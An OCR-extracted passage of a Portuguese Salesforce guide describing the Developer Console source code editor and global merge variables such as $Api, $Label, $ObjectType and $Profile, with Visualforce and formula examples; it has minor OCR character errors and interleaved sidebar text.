O editor aplica automaticamente o destaque da sintaxe para palavras-chave e todas as funcdes
e operadores.

Pesquisar (&, )
A pesquisa permite procurar texto dentro da pagina, classe ou acionador atual. Para usar a
pesquisa, insira uma string na caixa de texto Pesquisar e clique em Localizar préximo.

e Para substituir uma string de pesquisa localizada por outra string, insira a nova string na
caixadetextoSubstituir eclique em substituir para substituir apenas essa ocorréncia
ou Substituir tudo para substituir todas as ocorréncias da string de pesquisa na pagina,
na classe ou no acionador.

e Para que a operacdo de pesquisa diferencie maitsculas de minusculas, selecione a op¢éo
Diferenciar maitisculas de minusculas.

e Para usar uma expressao regular como string de pesquisa, selecione a opcao Expressoes
regulares. As expressoes reqgulares seguem as regras de expressoes requlares do JavaScript.
Uma pesquisa que usa expressoes regulares pode localizar strings que ultrapassem mais
uma linha.

Se vocé usar a operacao de substituicdo com uma string localizado por uma expressao
regular, essa operagcdo também podera vincular varidveis de grupo de expressdes regulares
($1, $2 etc) provenientes da string de pesquisa localizada. Por exemplo, para substituir
uma marca <h1> por uma marca <h2> e manter todos os atributos intactos na marca
<h1> original, procure <h1 (\s+) (.*)> e substitua por <h2$1$2>.

Ir para linha ( =# )
Este botdo permite destacar um nimero de linha especificado. Se a linha ndo estiver visivel no
momento, o editor rolard para essa linha.

Desfazer ( 4 ) e Refazer ( & )
Use Desfazer para reverter uma acéo de edicao e Refazer para recriar uma acao de edicio que
foi desfeita.

Tamanho da fonte
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EDICOES

Disponivel em: Salesforce
Classic

O Apex esta disponivel em:
Enterprise, Performance,
Unlimited, Developer e
Database.com Editions

EDICOES

Disponivel em: Salesforce
Classic

O Visualforce esta disponivel
em: Edicdes Contact
Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

PERMISSOES DO

USUARIO

Para editar a marcacdo do
Visualforce:

e "Personalizar aplicativo

"

Para editar controladores
personalizados do
Visualforce ou do Apex

e “Apex do autor”

Na lista suspensa, selecione um tamanho de fonte para controlar o tamanho dos caracteres exibidos no editor.

Posicao de linha e coluna

A posicdo de linha e coluna do cursor é exibida na barra de status na parte inferior do editor. Essa opcéo pode ser usada com Ir para

a linha (=¥ ) para navegar rapidamente pelo editor.

Contagem de linhas e caracteres
O nuimero total de linhas e caracteres é exibido na barra de status na parte inferior do editor.

O editor suporta os seguintes atalhos de teclado:

Tab
Adiciona uma tabulacéo ao cursor

SHIFT+Tab
Remove uma tabulacéo
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CTRL+f
Abre a caixa de didlogo de pesquisa ou procura a préxima ocorréncia da pesquisa atual

CTRL+r
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Abre a caixa de didlogo de pesquisa ou substitui a préxima ocorréncia da pesquisa atual pela string de substituicdo especificada

CTRL+g
Abre a caixa de didlogo Ir para a linha

CTRL+s
Executa uma gravagao rapida.

CTRL+z
Reverte a Ultima acao de edicao

CTRL+y
Recria a Ultima acéo de edicao que foi desfeita

CONSULTE TAMBEM:
Visdo geral do cédigo do Apex

Visualforce

Editor de cédigo-fonte

O Console do desenvolver inclui um Editor de cédigo-fonte com uma cole¢do de recursos para editar o cédigo do Apex e Visualforce.

Todos os arquivos de codigo, incluindo classes e acionadores do Apex e paginas e componentes do Visualforce, séo abertos no Editor

de cédigo-fonte no espaco de trabalho do Console do desenvolvedor.

| PurchaseOrders * *  Fridge Log /_ui/commeon/apex/debug/ApexCSIAPT @04/09 21:25:10

Code Coverage: Mone ~

public class PurchaseOrders {

Go To

»

// Bn interface that defines what a purchase order looks like in general
public interface PurchaseQrder {
/i

All other functionality exzcluded

I Double discount():

I // One implementation of the interface for customers
public wvirtual class CustomerPurchaseOrder implements PurchaseOrder {
public virtual Double discount() {
return .05; // Flat 5% discount

L] // Employee purchase order extends Customer purchase order, but with a

I Logs Tests Checkpoints Query Editor Progress pmuemo)
Name Line Problem

| PurchaseOrders 18 unexpected token: ‘dass'

m

A sintaxe se destacando no Editor de codigo-fonte ressalta comentdrios, nimeros, strings, palavras-chave reservadas, tipos de dados

primitivos, declaracdes de varidveis e referéncias. Para acessar a pesquisa de codigo, pressione CTRL+F.


https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/apex_reserved_words.htm
https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/langCon_apex_primitives.htm
https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/langCon_apex_primitives.htm

Aprimorar o Salesforce com codigo Guia do usudrio | Componentes do Lightning, Apex,
Visualforce | 17

Apos implantar o teste, é possivel visualizar a cobertura do cédigo linha por linha no Editor de cédigo-fonte. Consulte Verificando a
cobertura de codigo. O Editor de cddigo-fonte também permite que vocé defina pontos de verificacao para solucionar problemas sem
atualizar seu cédigo. Consulte Configurando pontos de verificacdo no cédigo do Apex.

Para alternar entre o Editor de cédigo-fonte e um editor em tela inteira (se estiver disponivel), pressione F11.

Configurando as preferéncias do Editor de codigo-fonte

E possivel escolher o tamanho da fonte e o tema de exibicdo do Editor de cédigo-fonte. Clique em Help (Ajuda) > Preferences
(Preferéncias) para acessar o didlogo Preferéncias.

Preferences ES

Name Value

Editor Font Size 20

Editor Theme blackboard .

Enable Apex Auto-complete 3024-day o

Enable Vf View State Inspector base16-light

Prevent Logs on Load lesser-dark
paraiso-dark
3024-night  |®
blackboard
paraiso-ight
the-rmatrix
ambiance {b
cobalt
rubyblue
tomoarrowe-
night-eighties
default
midnight

Save

Selecione um Tema do editor para visualiza-lo.

A janela Preferéncias inclui opcdes de configuracdo adicionais com base nas permissées e na implementacdo. Essas opcdes incluem
ativar a conclusdo do cédigo na pagina 18 e a guia Registrospara impedir o carregamento dos registros na pagina 258.

Clique em Save (Salvar) para atualizar suas configuracdes e fechar a janela.

Navegando até declaracdes de método e variavel
Vocé pode navegar diretamente para a declaracdo de um método ou varidvel, em vez de ter que rolar ou procurar por ela.

1. Passe 0 mouse sobre 0 nome de um método ou varidvel. Se o nome do método ou da varidvel estiver sublinhado, é possivel navegar
até sua declaragao.

2. Clique no nome sublinhado de um método ou variavel.

3. Pressione CTRL+ALT+N ou cligue em Go To (Ir para) para mover o cursor para a declaracdo. Se a declaracao estd em outro arquivo,
0 arquivo abre em uma nova guia.

Usando a pesquisa e substituicGo
Use os atalhos de teclado a sequir para pesquisar e substituir o texto dentro da exibi¢do atual.

Funcdo Atalho Notas

Pesquisar CTRL+F Abre um formulério de pesquisa ativa.
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Funcdo Atalho Notas

Substituir CTRL+SHIFT+F Abre um didlogo que solicita o termo de pesquisa
e, em seguida, 0 termo para substituicao e permite
confirmar ou rejeitar cada alteracéo.

Substituir tudo CTRL4SHIFT+R Abre um didlogo que solicita o termo de pesquisa
e, em seguida, 0 termo para substituicdo e permite
confirmar ou rejeitar a alteracéo universal.

Para pesquisar arquivos que nao estao abertos na exibicao atual, clique em File (Arquivo) > Search in Files (Pesquisar em arquivos)
ou pressione CTRL+SHIFT+H.

Usando o preenchimento de codigo

O Editor de cédigo-fonte fornece sugestdes de preenchimento automatico enquanto vocé esta escrevendo o cédigo.
Nas paginas e componentes do Visualforce, o preenchimento automético aparece automaticamente enquanto vocé digita.

Nos acionadores e nas classes do Apex, clique em CTRL+ESPACO para visualizar uma lista de preenchimento sugerido. As conclusdes
sdo fornecidas para os objetos e métodos do sistema do Apex, métodos e objetos definidos pelo usuério, e sObjects e campos. Para
ativar o preenchimento automatico do Apex quando vocé digitar um ponto, clique em Help (Ajuda) > Preferences (Preferéncias) e
configure Enable Apex Auto-complete (Ativar preenchimento automatico do Apex) como verdadeiro.

Fridge * *| Log /_ui/common/apex/debug/ApexCSIAPT @04/08 11:43:47

Code Coverage: Mone ~ GoTo

Lo LUl U L e L

abortJob (String jobId) : void - system ki

Answers l
ApexPages

AppExchange

ApplicationReadWriteMode

assert (Boolean condition) : void - system

assert (Boolean condition, ANY msg) : void - system

PV assertEquals (ANY expected, ANY actual) : void - system

m{ assertEquals (ANY expected, ANY actual, ANY msg) : void - system

n1 AssertException

== e

system.‘ ’

1 B

Continue digitando para filtrar as sugestdes, pressione ENTER para selecionar o preenchimento superior ou use as teclas de seta ou o
mouse para selecionar um preenchimento diferente.

Os preenchimentos sao coletados a partir do objeto em que vocé esta trabalhando. Se vocé nao localizar o preenchimento que espera,
salve 0 objeto aberto e atualize. O tipo de objeto é determinado pela tabela de simbolo do editor atual. Se nao houver simbolos que
correspondam, as tabelas de simbolo em cache (a Ultima vélida salva) também sao verificadas. Se ndo houver objeto atual, a janela de
preenchimento automéatico mostrara todas as classes do sistema e do usuario, bem como sObjects.

Validando alteragdes no codigo-fonte: Guia Problemas

As alteracdes que vocé fazem um Editor de céddigo-fonte séo compiladas e validadas em segundo plano. Enquanto vocé estiver editando
0 c6édigo, um indicador de erro serd exibido nas linhas com erros, e a guia Problems (Problemas) no painel inferior mostrard os detalhes

dos erros de compilacdo. Para recolher a guia Problems (Problemas), use o botao | %] no canto do painel.
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Quando as exibicdes de fonte forem validadas, todas as fontes modificadas séo validadas juntas, em vez de individualmente. Nao sdo
relatadas como erros as alteracdes que possam ser inconsistentes com o cédigo no servidor, mas que sejam consistentes quando
validadas como um grupo, como adicionar um método em um arquivo e chamar esse método em outro.

Alterando a versao da API

Use a lista APl Version (Versao da API) na parte superior do Editor de cédigo-fonte para alterar a versao da entidade atual. A lista inclui
as cinco versdes mais recentes da APl e também a verséo atual da entidade.

Salvando alteracoes

Quando vocé faz alteracdes no Editor de cddigo-fonte, 0 nome da guia inclui um “*” para indicar alteragdes néo salvas. As classes e
acionadores do Apex sao salvos com a versao da APl atual da classe ou acionador.

Para salvar uma colecao de alteracdes com dependéncias, clique em File (Arquivo) > Save All (Salvar tudo) ou em CTRL+S5+SHIFT.
Todas as guias abertas com modificagbes sao salvas em conjunto em uma solicitagéo.

Quando vocé salva exibicdes de fonte modificadas, elas sdo validadas em relagdo a todos os arquivos fonte salvos. Se os arquivos fonte
tiverem alteracdes relacionadas, serd impossivel salva-las individualmente. Se houver qualquer erro de compilacao, ndo sera possivel
salvar. Revise o painel Problems (Problemas), corrija quaisquer erros e clique em Save (Salvar) novamente.

@ Nota: Vocé néo pode editar nem salvar classes do Apex em uma organiza¢do de producao.

Sincronizando com o cédigo na nuvem

0 Console do desenvolvedor rastreia alteracoes feitas a fonte por outros usuarios enquanto vocé tem um arquivo aberto. Se vocé nao
tiver feito nenhuma alteracéo, sua visualizagéo sera atualizada automaticamente. Se vocé tiver feito modificacdes, ndo poderd salvé-las
no servidor. Vocé vera um alerta de que outro usuario fez alteracdes, com a opgéo de atualizar a exibicéo de fonte para a Ultima verséo.

Cuidado: Se escolher atualizar para a Ultima versdo de um arquivo, suas alteragoes serdo substituidas. Copie sua versao da exibicao
de fonte para preserva-la e, entdo, atualize para a Ultima verséo e integre suas modificacées.

CONSULTE TAMBEM:
Visdo geral da interface de usuario do console do desenvolvedor
Verificando a cobertura de cédigo
Configurando pontos de verificacdo no cédigo do Apex

Menu Arquivo

Inspetor de objeto

O Inspetor de objeto fornece uma referéncia somente leitura dos campos do objeto padréo ou personalizado e seus tipos de dados.
Para abrir o Inspetor de objeto, clique em File (Arquivo) > Open (Abrir) e selecione o objeto que deseja visualizar. Para pesquisar
objetos que atendem a critérios especificos, use o Editor de consulta.
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Nota: Vocé ndo pode modificar os objetos personalizados no Console do Desenvolvedor. Crie, edite ou exclua objetos personalizados

em Configuracdo.

CONSULTE TAMBEM:

Usando o Console do desenvolvedor

Nogoes bdsicas sobre varidveis globais

Componentes como botdes e links personalizados; formulas em campos personalizados, regras de

validacao, fluxos e processos; e paginas do Visualforce permitem usar campos de mesclagem
especiais para referenciar os dados na sua organizacéo.

Notfa: Somente usudrio, organizacdo e campos de mesclagem de API s&o suportados nas
guias da Web.

Use as seguintes varidveis globais ao escolher um tipo campo de mesclagem para adicionar ao
componente personalizado:

SAction

Descricao:

Use:

Um tipo de campo de mesclagem global a ser usado para fazer referéncia a
acoes padrao do Salesforce, como exibir a home page da guia Contas, criar
novas contas, bem como editar e excluir contas. Use 0s campos de mesclagem
de ac¢ées nas fungbes LINKTO e URLFOR para fazer referéncia a acao
selecionada.

1. Selecione o tipo de dados: SAction.

2. Insira um campo de mesclagem no formato
SAction.object.action, COmMO $SAction.Account.New.

EDICOES

A disponibilidade de cada
varidvel global depende dos
requisitos de experiéncia e
edicdo para o recurso
relacionado.

PERMISSOES DO

USUARIO

Para criar, editar e excluir

custom s-controls, formulas
ou paginas do Visualforce:
e "Personalizar aplicativo”

Para editar fluxos e

processos:
e "Gerenciar fluxo do
Force.com"
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Exemplo de
s-control:

Exemplos do
Visualforce:

Dicas:
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0O s-control a sequir faz referéncia a acdo padrao usada para criar novas contas no campo de mesclagem
$Action.Account.New

<html> <body> {!LINKTO ("Create a New Account",

SAction.Account.New, $ObjectType.Account)} </body>
</html>

<apex:outputLink value="{!URLFOR ($Action.Account.New) }">Create New
Account</apex:outputLink>

Essa variavel global s6 esta disponivel para botées e links personalizados, custom s-controls e paginas do
Visualforce.

Todos os objetos suportam agdes basicas, como novo, clonar, visualizar, editar, listar e excluir. A varidvel global $Action também faz

referéncia as agbes disponiveis em muitos objetos padrdo. Os valores disponiveis na sua organizagdo podem ser diferentes, dependendo
dos recursos que vocé ativar.

$SApi

Descricao:

Use:

Exemplo de
s-control:

Exemplo de
Visualforce e fluxo:

Um tipo de campo de mesclagem global para usar ao fazer referéncia a URLs da API.

1. Selecione o tipo de dados: SApi

2. Selecione um campo de mesclagem, como:

$Api.Enterprise Server URL _ xxx:Opontofinal SOAP do Enterprise WSDL, onde xxx
representa a versao do API. Por exemplo: $Api.Enterprise Server URL 140 €o0 valor
do campo de mesclagem para a versao 14.0 do API.

$Api.Partner Server URL xxx: O ponto final SOAP do Partner WSDL, em que xxx
representa a versao da API.

® S$Api.Session ID:0ID dasessdo.

O campo de férmula personalizada abaixo chama um servico para substituir um cédigo SIC. Substitua
meuservidor pelo nome do seu servidor.

HYPERLINK ("https://www.myserver.com/mypage.jsp" &

"?Username=" & SUser.Username &
"gcrmSessionId=" & GETSESSIONID() &
"&crmServerUrl=" & S$Api.Partner Server URL 90 &

"&crmObjectId=" & Id &
"scrmFieldUpdate=sicCode",
"Update SIC Code")

Use a notagao de ponto para voltar a ID da sessao.

{!SApi.Session ID}
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Dicas: Esta varidvel global estd disponivel apenas para campos de formula, s-controls, botdes e links personalizados,
pdginas do Visualforce e férmulas de fluxo e de processo.
@ Importanfe: $Api.Session_ID retornavaloresdiferentes, dependendo do dominio da solicitagéo.
Isso ocorre porque o 1D da sess&o varia durante uma sesséo sempre que vocé cruza um limite de nome
dehost,comodo .salesforce.comparao .visual. force.com Normalmente,o Salesforce
lida diretamente com a passagem de sessao entre dominios; porém, se vocé estd passando o ID da
sessao por conta propria, esteja ciente de que pode ser necessario acessar SApi.Session ID
novamente a partir do dominio a direita para assegurar um ID de sessao valido.
$Component
Descricéo: Um tipo de campo de mesclagem global a ser usado para fazer referéncia a um componente do Visualforce.
Use: Cada componente em uma pdgina do Visualforce possui seu proprio atributo Td. Quando a pagina é
renderizada, esse atributo é usado para gerar o ID DOM (Document Object Model, modelo de objeto do
documento). Use 0 $Component .Path. to. Id no JavaScript para fazer referéncia a um componente
especificoem uma pagina,em que Path. to. Id éum especificador de hierarquia do componente sendo
referenciado.
Exemplos do i
. function beforeTextSave () {
Visualforce:
document.getElementById (' {!S$Component.msgpost}') .value =
myEditor.getEditorHTML () ;
}
Dicas: Essa variavel global s6 esta disponivel para paginas do Visualforce.
$ComponentLabel
Descricao: Um campo de mesclagem global a ser usado para fazer referéncia ao rétulo de um componente
inputField em uma pagina do Visualforce que esteja associada a uma mensagem.
Use: Retorna o rétulo de um componente inputField que esteja associado a uma mensagem.
Exemplos do ,
Visualforce: <apex:datalist var="mess" value="{!messages}">
’ <apex:outputText value="{!mess.componentLabel}:" style="color:red"/>
<apex:outputText value="{!mess.detail}" style="color:black" />
</apex:datalist>
Dicas: Essa varidvel global s6 esta disponivel para paginas do Visualforce.
$CurrentPage
Descricao: Tipo de campo de mesclagem global a ser usado para fazer referéncia a pagina atual do Visualforce ou a

uma solicitacao de pagina.
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Use:

Exemplos do
Visualforce:

Dicas:

$FieldSet

Descricao:

Use:

Exemplos do
Visualforce:

Dicas:

$Label

Descricao:

Use:
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Use essa variavel global em uma pagina do Visualforce para referenciar o nome da pagina atual
($CurrentPage.Name)ou o URL da pagina atual (SCurrentPage . URL) . Use
SCurrentPage.parameters.parameterName para fazer referéncia a parametros e valores de
solicitacdo de pagina, em que parameterName € 0 parametro de solicitacao sendo referenciado.

<apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You belong to the {!account.name} account.<br/>
You're also a nice person.
</apex:pageBlock>
<apex:detail subject="{!account}" relatedList="false"/>
<apex:relatedList list="OpenActivities"
subject="{!$CurrentPage.parameters.relatedId}"/>
</apex:page>

Essa varidvel global s6 esta disponivel para paginas do Visualforce.

D4 acesso a um conjunto de campos definido na sua organizagéo.

Use isso nas paginas do Visualforce para iterar dinamicamente em campos de um conjunto de campos. E
necessario prefixar essa varidvel global para o objeto padréo ou personalizado que tem o conjunto de campos.

<apex:page standardController="Account">
<apex:repeat value="{!S$Account.FieldSet.mySpecialFields}"
var="field">
<apex:outputText value="{!field}" />
</apex:repeat>
</apex:page>

Essa varidvel global s6 esta disponivel para paginas do Visualforce.

Um tipo de campo de mesclagem global para ser usado ao referenciar um rétulo personalizado.

1. Selecione o tipo de campo SLabel.
2. Selecione o rétulo personalizado que deseja referenciar.

O valor retornado depende da configuracao de idioma do usudrio contextual. O valor apresentado é um dos
seguintes, em ordem de precedéncia:

1. Otexto da tradugdo local
2. Otexto da tradugdo empacotada

3. Otexto do rétulo mestre



Aprimorar o Salesforce com codigo Guia do usudrio | Componentes do Lightning, Apex,

Exemplo de fluxo:

Exemplos do
Visualforce:

Exemplo de
componentes do
Lightning

Dicas:

SLabel.Site

Descrigao:

Use:

Visualforce | 24

Crie uma formula de fluxo cuja expresséo € a sequinte.
{!$Label.customCurrency label}

Em sequida, referencie a formula de fluxo como o rétulo de um campo de tela.

<apex:page>
<apex:pageMessage severity="info"
strength="1"
summary="{!SLabel.firstrun helptext}"
/>

</apex:page>

Rétulo em uma expressao de marcacao usando o namespace padrao
{!S$Label.c.labelName}

Rétulo em cédigo JavaScript se sua organizagao tiver um namespace
SA.get ("S$Label.namespace.labelName")

Esta varidvel global esta disponivel apenas para componentes do Lightning, paginas do Visualforce, Apex,
formulas de fluxo e férmulas de processo.

Tipo de campo de mesclagem global a ser usado para fazer referéncia a um rétulo padrao de sites na pagina
do Visualforce. Assim como todos os rétulos padréo, o texto serd exibido com base no idioma e na localidade
do usudrio.

Use essa expressao em uma pagina do Visualforce para acessar um rétulo de sites padrao. Quando o servidor
de aplicativo construir a pagina a ser apresentada ao navegador do usuario final, o valor apresentado
dependerd do idioma e da localizacdo do usudrio.

O Salesforce fornece os seguintes rétulos:

Rotulo Mensagem

authorization_required Autorizacéo obrigatéria

bandwidth_limit_exceeded Limite da largura de banda excedido

change_password Trocar senha

change_your_password Altere sua senha

click_forget_password Se vocé tiver esquecido a senha, clique em Senha esquecida

para redefini-la.

community_nickname Apelido
confirm_password Confirmar senha
down_for_maintenance <i>{0}</i> estéd interrompido para manutengdo

email Email
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Rotulo
email_us
enter_password
error

error2
file_not_found

forgot_password

forgot_password_confirmation

forgot_your_password_g
get_in_touch
go_to_login_page
img_path
in_maintenance
limit_exceeded

login

login_button

login_or_register_first

logout

new_password
new_user_(q
old_password
page_not_found
page_not_found_detail
senha
passwords_dont_match
powered_by

register
registration_confirmation
site_login

site_under_construction
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Mensagem

envie um email para nés

Vocé esqueceu sua senha? Digite seu nome de usuario abaixo.
Erro: {0}

Erro

Arquivo ndo encontrado

Senha esquecida

Confirmacao de senha esquecida

Esqueceu sua senha?

<a href="{0}">{1}</a> se vocé precisar entrar em contato.
Ir para a pagina de login

/img/sites

Parado para manutenc¢do

Limite excedido

Login

Login

Vocé deve primeiro fazer login ou se registrar antes de acessar
esta pagina.

Logout

Nova senha

Novo usuario?

Senha antiga

P&gina nao encontrada
P4gina nao encontrada: {0}
Senha

As senhas ndo correspondem.
Possibilitado por

Inscricao

Confirmacéo da inscricdo
Login no site

Site em construcao
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Rotulo

sorry_for_inconvenience
sorry_for_inconvenience_back_shortly
stay_tuned

submit

temp_password_sent

thank_you_for_registering

under_construction
user_registration
username

verify_new_password
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Mensagem

Desculpe pela inconveniéncia.

Desculpe pela inconveniéncia. Voltaremos em breve.
Fique ligado.

Enviar

Foi Ihe enviado um email com sua senha temporaria.

Obrigado por se registrar. Foi lhe enviado um email com sua
senha temporaria.

<i>{0}</i> estd sob construcao
Inscricao de novo usudrio
Nome do usuério

Verificar nova senha

Um tipo de campo de mesclagem global a ser usado para
referenciar detalhes de comunidade em um modelo de email do

Exemplos do - N
. apex:page
Visualforce: pex:pag ) .
<apex:pageMessage severity="info"
strength="1"
summary="{!SLabel.Site.temp password sent}"
/>
</apex:page>
Dicas: Essa varidvel global s6 esta disponivel para paginas do Visualforce.
$Network
Descrigao:
Visualforce.
Use:

Exemplos do Visualforce:

Use essa expressdao em um modelo de email do Visualforce para
acessar o nome e o URL de login da comunidade.

<messaging:emailTemplate subject="Your
Password has been reset"
recipientType="User" >
<messaging:htmlEmailBody >

<p>Hi,</p>

<p>Your password for
<b>{!$Network.Name}</b> community has been
reset.</p>

<p><a
href="{!%Network.NetworkUrlForUserEmails}'>Reset
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Password</a></p>
<p>Regards, </p>
<p>Communities Admin</p>

</messaging:htmlEmailBody>
</messaging:emailTemplate>

Dicas: Esta variavel global funciona apenas em modelos de email do
Visualforce para comunidades.
$ObjectType
Descricéo: Tipo de campo de mesclagem global a ser usado para fazer referéncia a objetos padrao ou personalizados
(como Contas, Casos ou Oportunidades) e aos valores dos seus campos. Use campos de mesclagem de tipo
de objeto nas funcdes LINKTO, GETRECORDIDS e URLFOR para fazer referéncia a um tipo de dados
especffico ou nafuncdo VLOOKUP para fazer referéncia a um campo especifico em um objeto relacionado.
Use:

1. Selecione o tipo de dados: SObjectType.

2. Selecione um objeto para inserir um campo de mesclagem que represente esse objeto, como
SObjectType.Case

Se desejar, selecione um campo nesse objeto usando a seguinte sintaxe:
$ObjectType.Role Limit c.Fields.Limit c.

Exemplo de botdo O botéo de lista personalizado a sequir faz referéncia ao objeto padréo de casos no campo de mesclagem
personalizado: $ObjectType.Case.

{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records =
{ !GETRECORDIDS ($ObjectType.Sample) }; var newRecords

= []; if (records[0] == null) { alert("Please select at least one row")
} else {

for (var n=0; n<records.length; n++) { var c = new
sforce.SObject ("Case"); c.id = records[n]; c.Status = "New";

newRecords.push(c); } result =
sforce.connection.update (newRecords); window.location.reload(); }

Exemplo de regrade Este exemplo confere se um CEP de cobranca é valido buscando os cinco primeiros caracteres do valor em

validacao: um objeto personalizado chamado Zip_Code__¢, que contém um registro para cada CEP valido nos EUA.
Se o CEP néo for encontrado no objeto Zip_Code__c ou se o estado de cobranca nao corresponder ao
State_Code__c correspondente no objeto Zip_Code__c, sera exibido um erro.

AND( LEN(BillingPostalCode) > 0, OR(BillingCountry = "USA",
BillingCountry = "US"),

VLOOKUP ( $ObjectType.Zip Code c.Fields.State Code c,
$ObjectType.Zip Code c.Fields.Name, LEFT(BillingPostalCode,5)) <>
BillingState )

Exemplos do

i O exemplo a seguir recupera o rétulo do campo Nome da Conta:
Visualforce:

{!$0bjectType.Account.Fields.Name.Label}
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Dicas:

$Organization

Descricao:

Use:

Exemplo de regra de
validacao:

Exemplo de fluxo:

Exemplos do
Visualforce:

Dicas:

$Page

Descrigao:
Use:

Exemplos do
Visualforce:
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Esta varidvel global esté disponivel nas paginas do Visualforce, botdes e links personalizados, s-controls e
regras de validacéo.

Um tipo de campo de mesclagem global a ser usado para fazer referéncia a informacées de perfil da empresa.
Use os campos de mesclagem da organizagédo para fazer referéncia a cidade, ao fax, ao ID ou a outros detalhes
da organizacao.

1. Selecione o tipo de dados: $Organization.

2. Selecione um campo de mesclagem, como $SOrganization.Fax.

Use campos de mesclagem da organizagdo para comparar qualquer atributo para a sua organizacdo com
aquele de suas contas. Por exemplo, vocé pode determinar se a sua organizagao tem o mesmo pais de suas
contas. A férmula de validagdo abaixo faz referéncia ao campo de mesclagem do pais da organizacao e exige
um codigo de pafs para qualguer conta que seja estrangeira.

AND (SOrganization.Country <> BillingCountry, ISBLANK (Country Code c))

Crie uma formula de fluxo (Texto) cuja expressao é { ! SOrganization.City}. Emum elemento
Decisdo, verifique se a cidade de um contato corresponde a formula.

Use a notagdo de ponto para acessar as informagdes da sua organizacdo. Por exemplo:

{!$Organization.Street}
{!$0Organization.State}

Os campos de mesclagem da organizacdo obtém seus valores de quaisquer valores armazenados no momento,
como parte das informacdes de sua companhia no Salesforce.

Observe que {!$0Organization.UiSkin} éum valorde lista de opcdes e, portanto, deve ser usado
com funcdes de lista de op¢des, como ISPICKVAL (), em campos personalizados, regras de validacao,
expressoes do Visualforce e férmulas de fluxo, de processo e de regra de fluxo de trabalho.

Um tipo de campo de mesclagem global a ser usado para fazer referéncia a uma pagina do Visualforce.

Use essa expressdo em uma pagina do Visualforce para ligd-la a outra pagina do Visualforce.

<apex:page>
<hl>Linked</hl>
<apex:outputLink value="{!$Page.otherPage}">
This is a link to another page.
</apex:outputLink>
</apex:page>
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Dicas: Essa variavel global s6 estd disponivel para paginas do Visualforce.
SPermission
Descricéo: Tipo de campo de mesclagem global a ser usado para fazer referéncia a informagdes sobre 0 acesso a

permissdo personalizada do usudrio atual. Use os campos de mesclagem de permisséo para referenciar
informacoes sobre 0 acesso atual do usudrio a quaisquer permissdes personalizadas da sua organizagdo.

Use: 1. Selecione o tipo de dados: SPermission.

2. Selecione um campo de mesclagem, como $Permission.customPermissionName.

Exemplo de regrade A regra de validacdo a seguir referencia a permisséo personalizada changeAustinAccounts para o usuario
validacao: atual. Essa regra assegura que apenas usuarios com a permissao changeAustinAccounts podem atualizar
contas com a cidade de cobranca de Austin.

BillingCity = 'Austin' &&
$Permission.changeAustinAccounts
Exemplo de fluxo: Para permitir que apenas usuarios com a permissao personalizada "seeAustinAccounts" continuem no fluxo,
crie uma férmula de fluxo (Booleano) com a seguinte expressao.
{!$SPermission.seelAustinAccounts}

Em seguida, em um elemento Decisdo, use uma condicdo para verificar se a férmula retorna verdadeiro.

Exemplos do Para que um blogueio de pagina apareca apenas para usuarios que tenham a permissao personalizada
Visualforce: seeExecutiveData, use o seguinte.

<apex:pageBlock rendered="{!$Permission.canSeeExecutiveData}">
<!-- Executive Data Here -->
</apex:pageBlock>

Dicas: SPermission aparece apenas se as permissoes personalizadas tiverem sido criadas na sua organizacao.
$Profile
Descricao: Tipo de campo de mesclagem global a ser usado para fazer referéncia a informagdes sobre o perfil do usuario

atual. Use os campos de mesclagem de perfil para fazer referéncia a informagées sobre o perfil do usuério,
como o tipo de licenga ou 0 nome.

Use: 1. Selecione o tipo de dados: $Profile.

2. Selecione um campo de mesclagem como $Profile.Name.
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Exemplo de regrade Aférmula de regra de validacao abaixo faz referéncia ao nome do perfil do usuério atual para assegurar que

validacdo:

somente o proprietdrio do registro ou usuarios com este perfil possam fazer alteragdes em um campo
personalizado chamadoMeta pessoal:

AND ( ISCHANGED( Personal Goal c¢ ), Owner <> $User.Id, $Profile.Name <>

Exemplo de fluxo:

"Custom:

{!$Profile.Name}

System Admin" )

Para identificar o perfil do usudrio em execucao, crie uma férmula de fluxo (Text) com a seguinte expressao.

Referenciando essa formula, vocé evita o uso de uma consulta (elementos Pesquisa) e economiza nos limites.

Exemplos do
Visualforce:

{!$Profile.Name}

Dicas:

personalizados.

Para apresentar o perfil do usudrio atual, use o sequinte:

e Os campos de mesclagem $Profile estao disponiveis apenas em edicdes que podem criar perfis

e Use nomes de perfil para fazer referéncia a perfis padréo nos campos de mesclagem $Profile. Se
vocé fez referéncia anteriormente ao valor interno para um perfil, use a lista a sequir para determinar o
nome a ser usado:

Nome de perfil padrao
Administrador de sistemas
Usudrio padréo

Somente leitura

Gerente de solugdes

Usudrio do Marketing
Gerente do contrato

Usuario parceiro

Usudrio de plataforma padréo

Usuario de aplicativo do Platform One
padrdo

Usuario do portal de clientes

Gerente do portal de clientes

$Profile Value

PT1
PT2
PT3
PT4
PT5
PT6
PT7
PT8

PT9

PT13

PT14

e Seus valores de campo mesclado ficarao em branco se os atributos de perfil estiverem em branco. Por
exemplo, o perfil Descricao nao é obrigatério e pode ndo conter um valor.

e Ndo é necessario conceder permissdes ou direitos de acesso aos usudrios as informacoes de perfil deles
para serem usadas nesses campos mesclados.
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SRecordType

Descricao: Um tipo de campo de mesclagem global a ser usado para fazer referéncia ao tipo do registro atual.

Use: Adicione $SRecordType manualmente a seu s-control.

Exemplos do Para apresentar o ID do tipo de registro atual, use o sequinte:

Visualforce:

{SRecordType.Id}

Dicas: e Use SRecordType.Id emvezde SRecordType.Name para fazer referéncia de um tipo de
registro especifico. Mesmo que SRecordType . Name torne a formula mais legivel, vocé deverd
atualizar a formula, caso o nome do tipo de registro seja alterado, enquanto o ID de um tipo de registro
nunca muda. No entanto, se estiver implementando férmulas em organizagdes (por exemplo, entre o
sandbox e a producdo ), use SRecordType . Name porgue 0s IDs ndo sdo 0 mesmo na organizagao.

e FEvite usar SRecordType nas formulas, exceto em férmulas de valor padrdo. Em vez disso, use o
campo de mesclagem RecordType (porexemplo, Account .RecordType . Name) 0U 0 Campo
RecordTypeId no objeto.

e Nao faga referéncia a nenhum campo com o campo de mesclagem $RecordType nas férmulas de
objetos cruzados. A varidvel $RecordType resolve até o registro que contém a férmula, néo o registro
no qual a formula chega. Use 0 campo de mesclagem RecordType no objeto, em vez disso.

SRequest

